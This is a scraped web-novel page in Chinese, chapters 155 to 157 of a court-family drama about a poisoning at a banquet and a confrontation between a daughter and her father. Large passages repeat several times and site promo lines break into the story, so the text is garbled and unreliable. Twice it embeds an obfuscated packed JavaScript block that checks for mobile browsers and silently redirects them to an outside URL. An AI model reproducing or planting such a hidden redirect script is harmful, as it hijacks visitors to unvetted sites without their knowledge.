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谢明**住孙姨娘,给她一个不要再节外生枝的眼神。 孙姨娘只能忍下。 谢明安装作刚才什么事都没发生一样,清了清嗓子,下令道:“开宴吧。” 只是,饭厅内的下人们,被外面围着的高大亲卫吓得够呛,又因为这些日子伯夫人赏罚分明,且亲力亲为,一时之间,伯夫人没说话,竟然没人动弹。 许素素缓缓开口,声音不算高:“吩咐下去,开宴。” 一众下人这才缓过神,连忙动起来,先端上冷菜。 谢明安见此,眼神越发阴冷。 不过,看到孙姨娘身旁的孙药令后,他放下心来,慢慢坐定。 儿,强忍着眼泪求饶:“是啊王爷,都是一家人,枝枝她知道错了,妾以后一定……一定让柳姨娘管教好她,绝不让她再冲撞王爷和王妃。” “是是是!妾这就带谢枝回去管教。” 柳姨娘赶紧点头,想起从前在伯府被谢枝打骂欺辱,她更是眼神一狠,顺着谢明安的话又说:“她贱皮贱肉,不打不成,妾回去就将她掌嘴二十,打烂她一张胡乱说话的嘴!” 谢明安暗自瞥了一眼萧熠之,见他仍旧面沉如水,于是怒喝一声: “二十怎么够,这死丫头屡屡犯错,死性不改,丢尽了谢家的脸,就在院里,给本伯掌嘴五十下,让她好好长长记性!” 孙姨娘浑身一震,眼眶通红:“伯爷……” 谢枝更是不敢置信地捂着脸,仰视谢明安:“父亲,你怎么能这么对我?” 她以为父亲至少会护着她,没想到,谢明安不仅替作威作福的柳姨娘说情,还主动要加重惩罚! “闭嘴,”谢明安脸色一沉,“你自己做错了事,休要狡辩顶嘴。” “来人,还不把她带下去!” 孙姨娘眼睁睁看着谢枝被两个婆子拖走,连廊下的小桌也被撤走,柳姨娘更是跟了过去。 她心慌得厉害,想上前说几句话。 “你有着身孕,别为不相干的人操心,让人看了笑话。” 谢明**住孙姨娘,给她一个不要再节外生枝的眼神。 孙姨娘只能忍下。 谢明安装作刚才什么事都没发生一样,清了清嗓子,下令道:“开宴吧。” 只是,饭厅内的下人们,被外面围着的高大亲卫吓得够呛,又因为这些日子伯夫人赏罚分明,且亲力亲为,一时之间,伯夫人没说话,竟然没人动弹。 许素素缓缓开口,声音不算高:“吩咐下去,开宴。” 一众下人这才缓过神,连忙动起来,先端上冷菜。 谢明安见此,眼神越发阴冷。 不过,看到孙姨娘身旁的孙药令后,他放下心来,慢慢坐定。 儿,强忍着眼泪求饶:“是啊王爷,都是一家人,枝枝她知道错了,妾以后一定……一定让柳姨娘管教好她,绝不让她再冲撞王爷和王妃。” “是是是!妾这就带谢枝回去管教。” 柳姨娘赶紧点头,想起从前在伯府被谢枝打骂欺辱,她更是眼神一狠,顺着谢明安的话又说:“她贱皮贱肉,不打不成,妾回去就将她掌嘴二十,打烂她一张胡乱说话的嘴!” 谢明安暗自瞥了一眼萧熠之,见他仍旧面沉如水,于是怒喝一声: “二十怎么够,这死丫头屡屡犯错,死性不改,丢尽了谢家的脸,就在院里,给本伯掌嘴五十下,让她好好长长记性!” 孙姨娘浑身一震,眼眶通红:“伯爷……” 谢枝更是不敢置信地捂着脸,仰视谢明安:“父亲,你怎么能这么对我?” 她以为父亲至少会护着她,没想到,谢明安不仅替作威作福的柳姨娘说情,还主动要加重惩罚! “闭嘴,”谢明安脸色一沉,“你自己做错了事,休要狡辩顶嘴。” “来人,还不把她带下去!” 孙姨娘眼睁睁看着谢枝被两个婆子拖走,连廊下的小桌也被撤走,柳姨娘更是跟了过去。 她心慌得厉害,想上前说几句话。 “你有着身孕,别为不相干的人操心,让人看了笑话。” 谢明**住孙姨娘,给她一个不要再节外生枝的眼神。 孙姨娘只能忍下。 谢明安装作刚才什么事都没发生一样,清了清嗓子,下令道:“开宴吧。” 只是,饭厅内的下人们,被外面围着的高大亲卫吓得够呛,又因为这些日子伯夫人赏罚分明,且亲力亲为,一时之间,伯夫人没说话,竟然没人动弹。 许素素缓缓开口,声音不算高:“吩咐下去,开宴。” 一众下人这才缓过神,连忙动起来,先端上冷菜。 谢明安见此,眼神越发阴冷。 不过,看到孙姨娘身旁的孙药令后,他放下心来,慢慢坐定。 第155章 王爷向母亲敬酒,叫她阿窈? 谢明安眉头皱起,压低声音,不满地对孙姨娘说:“许氏才执掌中馈多久,伯府就这么多人听她的话了,你呢,以前多年还不如她几日,当真无用。” 孙姨娘张了张口,无言以对,只能怯声道:“伯爷说的是,妾身无能。” 她心道,许素素能这么快将伯府庶务打理得井井有条,只因她还有些许家陪嫁,出手阔绰。 而自己只是父亲一个庶女,往日靠她大哥济安堂的孝敬精打细算,在京中,也是有名的贤妾。 伯爷当初还曾怜惜她,说她是巧妇难为无米之炊。 可现在,他却说自己无用。 她坐回自己的末席位置,正想着,院外传来谢枝被掌嘴的声音。 孙馨兰听得心里发紧,几乎要落下泪来。 她想要开口,但看见文昌伯的脸色,知道开口也没用,伯爷根本不在乎谢枝的死活。 孙药令见孙姨娘这副模样,倒是不忍:“伯爷,枝姑娘虽然有错,可这掌嘴声这么大,难免扰了诸位用膳的兴致,再说,小女有孕在身,听到这声音,怕是会影响胎气。” 他是尚药局最擅妇科之人,医术尚可,早年更是护过颖妃生产,虽然官位不高,却也有些脸面,让谢明安没法反驳。 孙姨娘看了她爹一眼,有些无语。 她爹倒是给谢枝求情了,毕竟那也是他外孙女,可说的是什么话? 果不其然,谢明安只是叹了口气,故作心痛道:“罢了,把人拖远点打,不要扰了王爷王妃清净。” 孙姨娘垂下眸,无意识地抚着小腹,满脑子还是谢枝哭的样子。 这时候,两个嬷嬷搀扶着谢老夫人进来。 谢窈见此,可笑地挑了挑眉。 谢老夫人是特意等见不到谢枝了再来,心里也能好受一些,论自欺欺人,她这祖母与谢明安不分上下。 还有几名谢家耆老族亲,携着孙子孙女入席,跟谢窈和王爷见礼,满脸的谄媚。 “孙药令,您老今日怎么来了?” 一名谢家族叔见气氛沉闷,问道。 谢明安露出关怀的神色:“孙药令乃馨兰的父亲,馨兰这阵子总说自己夜里睡不安稳,本伯放心不下,便请他来看看,好让她安心养胎。” 二房夫人笑着说:“伯爷真是有心了,孙药令可是尚药局之首,给宫里娘娘们看诊的,有他在,孙姨娘这胎定然极其稳妥。” 旁边谢二爷的脸色有些沉,他二儿子谢成柏刚疯了,大哥和孙姨娘却有了孩子。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 他憋着气附和:“孙药令医术高明,孙姨娘肯定顺顺利利,给大哥再诞麟儿。 孙药令客气地拱手:“各位过誉了,老夫只是尽本分而已。伯爷放心,小女的脉象平稳,老夫再为她开几副安胎药,保准万无一失。 饭厅的气氛热络起来,众人恭维着孙药令,连带着孙姨娘的脸色也好了许多。 谢明安笑得眼睛眯起来,正要接话,一道冷冽的声音响起。 “孙药令? 只见王爷放下玉筷,眼神扫过孙药令。 “既然是尚药局的尚药令,为何本王从未见过你来给本王看诊? 孙药令一怔,想起两年前靖北王刚受伤时,皇上下令,让尚药局的所有御医,轮番去王府诊治,后来也是每隔几日,派御医给他把脉。 “启禀王爷,只因术业有专攻,下官擅长女子胎产,所以并未给王爷诊治过身体。 “孙药令真是谦虚,你若只擅长给女子看诊,如何能做到尚药令? 萧熠之挑眉道:“今日你在,那便去告诉周御医不必来了,由孙药令替本王把脉。 孙药令吓得浑身一僵,冷汗顿时冒出来。 给靖北王把脉这事,是尚药局周御医等几个御医专门的差事,事后要跟皇上交差。 整个尚药局都长着一张嘴,他不知深浅的前提下,可不敢把脉。 万一发现什么问题,他不知怎么跟皇上交代,万一什么也没发现,他又怕靖北王发怒。 “王爷恕罪,下官只懂妇人科,不敢耽误王爷! 萧熠之看了一眼谢窈。 却见自家王妃夹了片水晶肘子,悠然看戏,眼神很是从容。 他意识到自己试探白试探了,王妃大概早就看出孙药令有问题。 “既然如此,白术,让周御医今日直接来文昌伯府,等本王用膳后再把脉。 白术应了一声,转身离开。 谢明安坐在旁边,心里“咯噔一下,周御医要来? 孙姨娘见王爷没有为难孙药令,微微松了一口气:“女儿这胎,就靠父亲了。 孙药令不自然地避开她的眼神:“对了,老夫给你在偏院煎的安胎药,这会儿快好了,我去看看,免得失了药效。 他又对众人行礼:“老夫先失陪片刻。 望着孙药令离开,孙姨娘心里对谢明安的寒心淡了几分。 虽然伯爷对枝枝不好,但至少还记得她肚子里的孩子,特意叫来父亲为她安胎。 今日 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 宴席用餐的主子有十余个加上近身伺候的丫鬟嬷嬷还有上菜的下人来来**五六十人在饭厅内却个个有条不紊。 显然这回门宴是精心安排处处稳当。 几个谢家耆老们点了点头夸赞伯夫人掌家妥当。 连谢老夫人都很安分没再提什么许氏是商贾之女的事。 只是她一想到许氏现在是二品诰命夫人比她的等级还高还是心中妒火中烧吃不下饭。 面对众人夸赞从前的许素素可能会低声应和敷衍几句但现在她理都没理只侧身询问女儿饭菜如何。 谢明安却与有荣焉似地站起身。 “自从夫人执掌中馈以来下人们无一不夸赞今日的宴席也都多亏夫人安排夫人真是辛苦了。” 许素素瞥了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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再怎么端庄,她骨子里就不是恬静温婉的世家贵女,否则,也不会因谢明安的皮相与谈吐才学而倾心,虽然,她瞎眼看错了人。 如今,王爷虽然身有残疾,性子稍冷,但身上有军中男儿的洒脱,女儿也是健妇营之人,他们二人在这一点,极为般配。 许素素笑了笑,仰头一饮而尽,彻底放下心来。 唯一不放心的,只剩下一件事了…… 谢明安在一旁,见他们三个气氛融洽,气得胸口剧烈起伏。 靖北王看都不看自己,却主动给许氏敬酒,这分明是故意的! 他不敢发作,内心恼怒无法发泄,只能朝门外大吼:“谢宴那逆子呢,人去哪了?都开席多久了,还不见踪影!” 宴席上其他人不敢说话,王爷却和伯夫人又喝了一杯,丈母娘与女婿之间其乐融融。 这时,孙药令端来一碗安胎药,悄悄回到席上。 第156章 饭菜下毒?跟渣爹撕破脸! 孙姨娘本就坐在末席,极为低调,注意到孙药令的人就更不多了。 他径直坐回孙姨娘身旁,带来一阵细微的寒意,很快被厅内的温暖驱散。 “这是为父照着你身子配的安胎药,以后每日都得让人煎服了,一直用到六个月,老夫再配新的。” “有劳父亲挂心,父亲辛苦了。” 孙药令眼巴巴看着孙姨娘接过安胎药,却没有喝,他心里着急,老脸挤出几分笑容:“怎么不喝?多大的人了,难不成怕苦?” 孙姨娘心里一暖,正要喝,又想起什么,低声道:“父亲安心坐在一旁吧,今日回门宴是许素素安排的,我怕饭菜里有相克的东西,您也帮我看着些。” 孙药令简单扫过桌上的饭菜:“都是些常见的菜品,你适量吃就好。” 旁边小丫鬟暗道,孙姨娘还真是谨慎,刚才孙药令不在,她就没有动筷。 这些日子,孙姨娘行走饮食都十分注意,平时用膳甚至会用银针试毒,简直比宫里的娘娘看胎还精细。 听到孙药令的话,孙姨娘放下心来。 想想自己也是过于小心了,许素素那窝囊懦弱的病秧子,哪敢对自己下手。 何况,今日是她女儿的回门礼,靖北王也在。 孙姨娘吹了吹安胎药,忍着苦涩,一口一口喝了下去。 谢明安和谢二爷正在交谈,忽然举起酒杯遮掩自己视线,实则紧紧地盯着孙姨娘。 看见她喝完最后一口药,他才收回目光,继续跟旁人说话。 孙姨娘觉得嘴里药味苦得厉害,连忙夹起几口桌上的饭菜,吃起来。 而在谢明安望着孙姨娘的时候,谢窈也将一切看在眼里。 她的眼神,多了几分深意。 喧嚣的宴席之中,仿佛翻涌起某种看不见的暗潮,厅内温暖如春,外面风雪欲来。 这边,王爷还跟许素素喝了第四盏,两人酒量极好,各自脸都不红。 白术不在,白蔹在旁边跃跃欲试,谢窈只好劝道:“母亲,王爷,别光喝酒,多吃点菜。” 萧熠之目不转睛地看她,声音多了一丝沙哑:“多谢王妃关心。” 谢明安又试图跟王爷搭话,王爷则理都不理。 忽然,一声惊呼传来! “姨娘,姨娘你怎么了!” 众人循声望去。 只见孙姨娘坐在自己席位上,手按住小腹,脸色惨白如纸,已经将旁边的小丫鬟吓傻。 “疼——” 她 腹痛难忍,刚开口,一口鲜血就从嘴角溢出。 孙姨娘颤巍巍地摸了一把唇角,看见手上沾染的血色,顿时目眦欲裂,脑中一片空白。 “有毒……有毒!饭菜里有毒!” 她抬起头,不假思索地嘶吼:“是你,许素素,一定是你在饭菜里下了毒!你想害死我和我肚子里的孩子!” 这话像一块巨石,落入平静的水面,骤然掀起波澜。 谢二爷变了脸色:“又……有毒?” 他本想说又来,但强行咽了回去。 二房夫人则是吓得尖叫了一声,连忙把还在狂吃的小儿子的碗一巴掌拍飞了。 席面上的小孩同时哭闹起来。 白蔹嫌吵,佩刀“嗖”地出鞘一半,露出几寸寒光。 小孩们顿时不叫了。 “王爷?”白蔹又问。 萧熠之神情淡然:“别吵。” 白蔹也就回头,让那几个跟着要围住饭厅拿人保护王爷的亲卫静下来:“别吵。” 众亲卫一个个面面相觑,到底谁在吵? 许素素站起身,凑近看了两眼,发现孙姨娘死不了之后,又坐下来,淡定地抿了一口酒。 孙姨娘瞪大眼睛,来不及细想,已经蜷缩在椅子上,撕心裂肺地哭喊起来:“父亲,快救我,快救我的孩子!” 孙药令连忙扑上前,让人将她抬到边塌上,慌张地打开药箱。 “姨娘别急!老夫这就救你,这就救你!” 谢窈看着他手忙脚乱的样子,眼神冰冷而平静。 这世上,真是多得是禽兽不如的父亲。 二房夫人跟旁边的族叔嘀咕,捂着嘴,声音却传出来:“今日宴席全是许氏一手安排,难道,真是她下的毒?” “只要别怨上咱们就行。” “不是**,就是着火,以后谁还敢来咱们文昌伯府,唉!” 谢二爷看向左右,一回生两回熟,他本想赶紧招呼下人去后厨,但见到大哥谢明安还站在那,他也就不做声了。 谢老夫人慌乱地将碗筷丢下,拄着拐杖,走到许素素面前。 “许氏,你都有谢窈和谢宴两个孩子了,为何还不满足!明安子嗣单薄,好不容易孙姨娘怀了孕,你给她下毒,是想让我们谢家**吗!” “我的孩子,我的馨兰!” 谢明安跑到孙姨娘身边,确定她并未见红,只是不住地口涌鲜血,他跟孙药令交换了一个眼神,心中松了口气,眼底却闪过一丝得逞的疯狂。 随即,他猛地转身,一把推开谢老夫人,双目赤红地咆哮:“许氏,你好大的胆子!竟敢在饭菜里下毒,谋害孙姨娘和本伯的骨肉!你个蛇蝎心肠的毒妇!” 许素素却还端坐在椅子上,面容平静,没有一点往日的怯懦。 等谢明安吼完,她缓缓抬头:“伯爷是上次余毒未清,脑子也不好使了?今日的饭菜,所有人都吃了,哪一个不是好好的。” “还敢狡辩!” 谢明安语速加快,又看了眼萧熠之,仿佛胸有成竹,脸庞浮现丑陋而扭曲的暴怒。 “本伯给你掌家之权,没想到你欲壑难平,怕孙姨娘生下儿子后,本伯将你的中馈之权收回,就对她下此毒手,连王爷都想谋害!” “说,你到底下了什么毒,交出解药!否则,本伯今日就休了你!” 许素素放下酒杯,自己笑了起来,笑得张扬,笑得冷厉,也笑得苦涩。 “谢明安,这些年你囚我心智,吞我陪嫁,宠妾灭妻,忘恩负义,我要是真下毒,第一个,就要毒死你!” 字字句句,掷地有声,让一众谢家人神情各异。 这句话,就像一把刀,直挺挺刺入谢明安痛处,也撕开他和许素素之间最后一层遮羞布。 谢明安不禁看了一眼几个谢家耆老族亲,感觉他人的目光都透露着鄙夷,仿佛他是个挪用妻子陪嫁的软饭男。 谢明安最恨许氏拿她陪嫁说事。 许家一介**商贾,而自己堂堂伯爵之位,娶她做正妻,是许家高攀,自己用些陪嫁,那也是天经地义。 何况…… 他目光扫过谢窈,眼底更是阴冷。 谢明安正要再骂,谢窈站起身。 她眼神如芒,像已经看透他的心思。 “伯爷没有证据就想给母亲定罪,你到底是真关心孙姨娘,还是关心能不能夺回中馈之权?还有我今日刚要交给母亲的那几间铺子?” 随即,他猛地转身,一把推开谢老夫人,双目赤红地咆哮:“许氏,你好大的胆子!竟敢在饭菜里下毒,谋害孙姨娘和本伯的骨肉!你个蛇蝎心肠的毒妇!” 许素素却还端坐在椅子上,面容平静,没有一点往日的怯懦。 等谢明安吼完,她缓缓抬头:“伯爷是上次余毒未清,脑子也不好使了?今日的饭菜,所有人都吃了,哪一个不是好好的。” “还敢狡辩!” 谢明安语速加快,又看了眼萧熠之,仿佛胸有成竹,脸庞浮现丑陋而扭曲的暴怒。 “本伯给你掌家之权,没想到你欲壑难平,怕孙姨娘生下儿子后,本伯将你的中馈之权收回,就对她下此毒手,连王爷都想谋害!” “说,你到底下了什么毒,交出解药!否则,本伯今日就休了你!” 许素素放下酒杯,自己笑了起来,笑得张扬,笑得冷厉,也笑得苦涩。 “谢明安,这些年你囚我心智,吞我陪嫁,宠妾灭妻,忘恩负义,我要是真下毒,第一个,就要毒死你!” 字字句句,掷地有声,让一众谢家人神情各异。 这句话,就像一把刀,直挺挺刺入谢明安痛处,也撕开他和许素素之间最后一层遮羞布。 谢明安不禁看了一眼几个谢家耆老族亲,感觉他人的目光都透露着鄙夷,仿佛他是个挪用妻子陪嫁的软饭男。 谢明安最恨许氏拿她陪嫁说事。 许家一介**商贾,而自己堂堂伯爵之位,娶她做正妻,是许家高攀,自己用些陪嫁,那也是天经地义。 何况…… 他目光扫过谢窈,眼底更是阴冷。 谢明安正要再骂,谢窈站起身。 她眼神如芒,像已经看透他的心思。 “伯爷没有证据就想给母亲定罪,你到底是真关心孙姨娘,还是关心能不能夺回中馈之权?还有我今日刚要交给母亲的那几间铺子?” 随即,他猛地转身,一把推开谢老夫人,双目赤红地咆哮:“许氏,你好大的胆子!竟敢在饭菜里下毒,谋害孙姨娘和本伯的骨肉!你个蛇蝎心肠的毒妇!” 许素素却还端坐在椅子上,面容平静,没有一点往日的怯懦。 等谢明安吼完,她缓缓抬头:“伯爷是上次余毒未清,脑子也不好使了?今日的饭菜,所有人都吃了,哪一个不是好好的。” “还敢狡辩!” 谢明安语速加快,又看了眼萧熠之,仿佛胸有成竹,脸庞浮现丑陋而扭曲的暴怒。 “本伯给你掌家之权,没想到你欲壑难平,怕孙姨娘生下儿子后,本伯将你的中馈之权收回,就对她下此毒手,连王爷都想谋害!” “说,你到底下了什么毒,交出解药!否则,本伯今日就休了你!” 许素素放下酒杯,自己笑了起来,笑得张扬,笑得冷厉,也笑得苦涩。 “谢明安,这些年你囚我心智,吞我陪嫁,宠妾灭妻,忘恩负义,我要是真下毒,第一个,就要毒死你!” 字字句句,掷地有声,让一众谢家人神情各异。 这句话,就像一把刀,直挺挺刺入谢明安痛处,也撕开他和许素素之间最后一层遮羞布。 谢明安不禁看了一眼几个谢家耆老族亲,感觉他人的目光都透露着鄙夷,仿佛他是个挪用妻子陪嫁的软饭男。 谢明安最恨许氏拿她陪嫁说事。 许家一介**商贾,而自己堂堂伯爵之位,娶她做正妻,是许家高攀,自己用些陪嫁,那也是天经地义。 何况…… 他目光扫过谢窈,眼底更是阴冷。 谢明安正要再骂,谢窈站起身。 她眼神如芒,像已经看透他的心思。 “伯爷没有证据就想给母亲定罪,你到底是真关心孙姨娘,还是关心能不能夺回中馈之权?还有我今日刚要交给母亲的那几间铺子?” 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“伯爷没有证据就想给母亲定罪,你到底是真关心孙姨娘,还是关心能不能夺回中馈之权?还有我今日刚要交给母亲的那几间铺子?” 随即,他猛地转身,一把推开谢老夫人,双目赤红地咆哮:“许氏,你好大的胆子!竟敢在饭菜里下毒,谋害孙姨娘和本伯的骨肉!你个蛇蝎心肠的毒妇!” 许素素却还端坐在椅子上,面容平静,没有一点往日的怯懦。 等谢明安吼完,她缓缓抬头:“伯爷是上次余毒未清,脑子也不好使了?今日的饭菜,所有人都吃了,哪一个不是好好的。” “还敢狡辩!” 谢明安语速加快,又看了眼萧熠之,仿佛胸有成竹,脸庞浮现丑陋而扭曲的暴怒。 “本伯给你掌家之权,没想到你欲壑难平,怕孙姨娘生下儿子后,本伯将你的中馈之权收回,就对她下此毒手,连王爷都想谋害!” “说,你到底下了什么毒,交出解药!否则,本伯今日就休了你!” 许素素放下酒杯,自己笑了起来,笑得张扬,笑得冷厉,也笑得苦涩。 “谢明安,这些年你囚我心智,吞我陪嫁,宠妾灭妻,忘恩负义,我要是真下毒,第一个,就要毒死你!” 字字句句,掷地有声,让一众谢家人神情各异。 这句话,就像一把刀,直挺挺刺入谢明安痛处,也撕开他和许素素之间最后一层遮羞布。 谢明安不禁看了一眼几个谢家耆老族亲,感觉他人的目光都透露着鄙夷,仿佛他是个挪用妻子陪嫁的软饭男。 谢明安最恨许氏拿她陪嫁说事。 许家一介**商贾,而自己堂堂伯爵之位,娶她做正妻,是许家高攀,自己用些陪嫁,那也是天经地义。 何况…… 他目光扫过谢窈,眼底更是阴冷。 谢明安正要再骂,谢窈站起身。 她眼神如芒,像已经看透他的心思。 “伯爷没有证据就想给母亲定罪,你到底是真关心孙姨娘,还是关心能不能夺回中馈之权?还有我今日刚要交给母亲的那几间铺子?” 随即,他猛地转身,一把推开谢老夫人,双目赤红地咆哮:“许氏,你好大的胆子!竟敢在饭菜里下毒,谋害孙姨娘和本伯的骨肉!你个蛇蝎心肠的毒妇!” 许素素却还端坐在椅子上,面容平静,没有一点往日的怯懦。 等谢明安吼完,她缓缓抬头:“伯爷是上次余毒未清,脑子也不好使了?今日的饭菜,所有人都吃了,哪一个不是好好的。” “还敢狡辩!” 谢明安语速加快,又看了眼萧熠之,仿佛胸有成竹,脸庞浮现丑陋而扭曲的暴怒。 “本伯给你掌家之权,没想到你欲壑难平,怕孙姨娘生下儿子后,本伯将你的中馈之权收回,就对她下此毒手,连王爷都想谋害!” “说,你到底下了什么毒,交出解药!否则,本伯今日就休了你!” 许素素放下酒杯,自己笑了起来,笑得张扬,笑得冷厉,也笑得苦涩。 “谢明安,这些年你囚我心智,吞我陪嫁,宠妾灭妻,忘恩负义,我要是真下毒,第一个,就要毒死你!” 字字句句,掷地有声,让一众谢家人神情各异。 这句话,就像一把刀,直挺挺刺入谢明安痛处,也撕开他和许素素之间最后一层遮羞布。 谢明安不禁看了一眼几个谢家耆老族亲,感觉他人的目光都透露着鄙夷,仿佛他是个挪用妻子陪嫁的软饭男。 谢明安最恨许氏拿她陪嫁说事。 许家一介**商贾,而自己堂堂伯爵之位,娶她做正妻,是许家高攀,自己用些陪嫁,那也是天经地义。 何况…… 他目光扫过谢窈,眼底更是阴冷。 谢明安正要再骂,谢窈站起身。 她眼神如芒,像已经看透他的心思。 “伯爷没有证据就想给母亲定罪,你到底是真关心孙姨娘,还是关心能不能夺回中馈之权?还有我今日刚要交给母亲的那几间铺子?” 第157章 断绝关系?你敢吗? 谢窈话音落下刚才乱作一团的饭厅忽然静下几分。 王妃今日在伯府门口表明要将自己嫁妆里一些铺子交给伯夫人就惹得文昌伯不快。 文昌伯的问责又句句不离中馈之权。 经过谢窈的提醒一些谢家几个耆老和谢二爷也反应过来不再主动替谢明安“冲锋陷阵”得罪伯夫人和王妃。 谢窈走到孙姨娘面前看着还在痛苦呻吟的女人她缓缓说道: “刚才除了饭菜孙姨娘还服用了孙药令的安胎药说不定这毒是下在安胎药里呢。” 孙姨娘气息奄奄这不是装的听到这话却咬紧牙关怒吼:“你胡说!那是我父亲给我亲手煎的安胎药怎会有毒!” 孙药令也脸色一白抽空抬头反驳:“王妃不要乱说老夫怎么可能给自己的女儿下毒!” 说着他从药箱里取出大瓶小瓶的药丸往孙姨娘嘴里灌然后再次把脉急得额头冒汗。 “父亲别急咳咳咳……我已经好多了咳咳。” 孙姨娘见自己父亲这么着急眼眶微微湿润抬起手为孙药令擦了擦汗。 这情景让周围人无一不动容。 谢窈见此不再多言回头吩咐棠心:“去将今日后厨所有下人都带上来。” “对对是要查后厨!老夫已经确定姨娘这是服用了少量红花还有其他**症状饭菜一定有问题!伯夫人你究竟如何准备的宴席!” 孙药令也看向许素素眼中充满质问与恨意。 谢明安听到饭菜有问题更是暴怒如雷当即冲到许素素面前:“果然是你要谋害本伯的儿子毒妇还不跪下认罪本伯饶你不死!” “饶我不死?”许素素抬眸看向他的眼神厌恶而鄙夷。 她故意语气平静地反问:“谢明安你不是早盼着我死吗说这话 “混账!” 谢明安瞳孔微缩彻底被愤怒冲昏头全然忘了许素素的身份更忘了还在一旁的王爷抬起手—— 谢窈没想到谢明安敢在众目睽睽下动手本能地冲上前阻拦。 可就在这一瞬间许素素抬眼飞快地给了她一个眼神。 平静冷冽还有一丝安抚。 谢窈的动作硬生生停住心却被揪住。 “啪”地一声谢明安一巴掌落在许素素脸上。 她的脸颊红肿起来嘴角渗出一抹血丝 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ,可她连眉毛都没皱一下。 许素素抬起手,擦了擦嘴角的血。 饭厅彻底静了,谢老夫人的哭嚎声停止,二房等人更是大气都不敢出。 连地上的孙姨娘都忘了疼,心道,不好! 伯爷一时冲动,许素素如今可是诰命夫人啊,这下就是有理也成了没理! “你敢打我母亲。 谢窈的声音似淬了冰,幽幽地响起。 没等谢明安反应过来,她已抬起脚,狠狠踹到他胸口! “嘭! “咚! 谢明安整个人熟悉地被踹飞了出去,重重地砸在后面的柱子上,又顺着柱子掉落,口吐鲜血。 他刚爬起来,谢窈来到他面前,扬手一个耳光。 这一下,打得谢明安脑袋嗡嗡作响,头痛欲裂,一边脸瞬间高高肿起。 谢窈转身:“忍冬。 忍冬早已在她动手前,就跑到许素素身边,仔细检查。 “王妃放心,夫人没有大碍,奴婢去准备帕子,给夫人消肿便好。 “来……来人啊! 谢明安趴在地上嘶喊。 蒋四等护院正要上前,白蔹按刀,拦住了他们。 “文昌伯,王妃的母亲乃皇上册封的二品诰命夫人,殴打诰命,你可知罪! 萧熠之也黑眸幽深,声音冷戾:“文昌伯,你敢在本王面前,打本王的岳母? 谢明安晕头转向,听见他的话,又看见谢窈含着杀意的眼神,大脑一下子清醒了几分。 他明白过来死死盯着许素素,从牙缝中挤出几个字:“许氏,你故意的。 许素素一脸悲恸,仿佛**夫君的样子,掉着眼泪。 谢明安:“…… 他眼底满是恨意,却只能忌惮地低吼:“谢窈,你这个不孝逆女,竟敢对本伯动手,你眼里还有没有尊卑伦理! 谢老夫人拄着拐杖,扑到谢明安面前。 “我的儿,疼不疼?作孽啊,女儿打父亲,这是大逆不道,天理难容!我们谢家的脸,都要被谢窈丢尽了! 谢二爷想将谢明安扶起来,但看见白蔹的眼神,他默默收回手。 “窈儿,无论如何,文昌伯都是你爹,你怎能动手**?还不给伯爷道歉,认个错,这事就算了,别传出去让人看咱们谢家的笑话。谢二爷劝道。 二房夫人:“是啊,就算伯爷动手在先,你身为人子,也不该对父亲动手。 几个谢家耆老更是脸色 听说看这本书的人都是很幸运的,分享后你的运气会更棒 难看,其中一个脾气最冲的族叔上前,指着谢窈,厉声呵斥: “简直目无纲常!伯府养你这么大,你仗着自己成了王妃,就敢对父亲动手?这样的逆女,根本不配做咱们谢家的人!依我看,该把你逐出宗族伯府,断绝关系,永不准再踏回谢家一步!” “逐出伯府?断绝关系? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241153|181036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好啊!” 谢窈勾起唇角,眼中燃烧着怒火。 母亲生生受了那一巴掌,就是为了让谢明安哑口无言。 “叔公这话说到我心坎里了,文昌伯,你敢吗?”她上前一步,讥讽地问。 谢明安的脸瞬间僵住,张了张嘴,却一个字也说不出来。 谢窈字字清晰:“文昌伯,你宠妾灭妻,吞我母亲嫁妆,把我扔去边境九年不闻不问,如今还敢动手打诰命夫人——这样的父亲,我不认也罢!” “你要真有骨气,现在就写断绝书,从此,我谢窈和文昌伯府再无瓜葛!” 谢明安双目布满血丝,半张没有被打肿的脸,也憋得通红。 断绝关系?他怎么舍得! 许氏还有一笔许家陪嫁在,谢窈更是靖北王妃,手里握着丰厚的嫁妆和聘礼,要是真断了关系,他一分好处都捞不到,还要背上殴打正妻的恶名,今天的一切,岂不是白做了! “擦擦。” 萧熠之从袖中掏出一方素色锦帕,帕子上绣着云纹,递给谢窈:“别让他,脏了你的手。” 谢窈接过锦帕,心里的怒火平复了些。 她轻轻擦拭手指,眼神扫过满厅指责她的人,那些人被她看得一缩,没人再敢开口。 谢明安听见靖北王的话,更是脸都变成了猪肝色。 萧熠之道:“事关本王岳母大人清誉,把杜语堂叫过来。” 杜语堂? 没等众人想起那是谁,白蔹已经吩咐了下去:“你们两个,骑快马去京兆尹,请杜大人来文昌伯府。” 谢明安瞪大眼睛,本想阻止,但根本来不及。 其他人这才反应过来,杜语堂,不是京兆尹杜大人的名讳吗! 此人公正严明,深受百姓爱戴,之前在靖北王和王妃大婚之日,就是他出面,解决了**的孙家人。 杜大人的母亲是萧家二姑奶奶,论辈分,他是王爷的表兄。 普天之下,恐怕也只有靖北王,能不去公堂,而是派出自己两个属下,将京兆尹请到自家伯府吧。 或许,杜大人会给王爷面子,不让谢家在丢脸一事上,更上一层楼…… 谢家众人一个个低下头,怕再闹下去,不止是杜语堂来谢家,他们谢家全族都得去京兆府公堂上分辨,岂不是丢**了。 谢明安看着这一幕,捂着胸口,气喘吁吁地爬起来。 他理了理衣襟,一瘸一拐走到孙姨娘身边,趁众人没发现,给孙药令递了个急切的眼神。 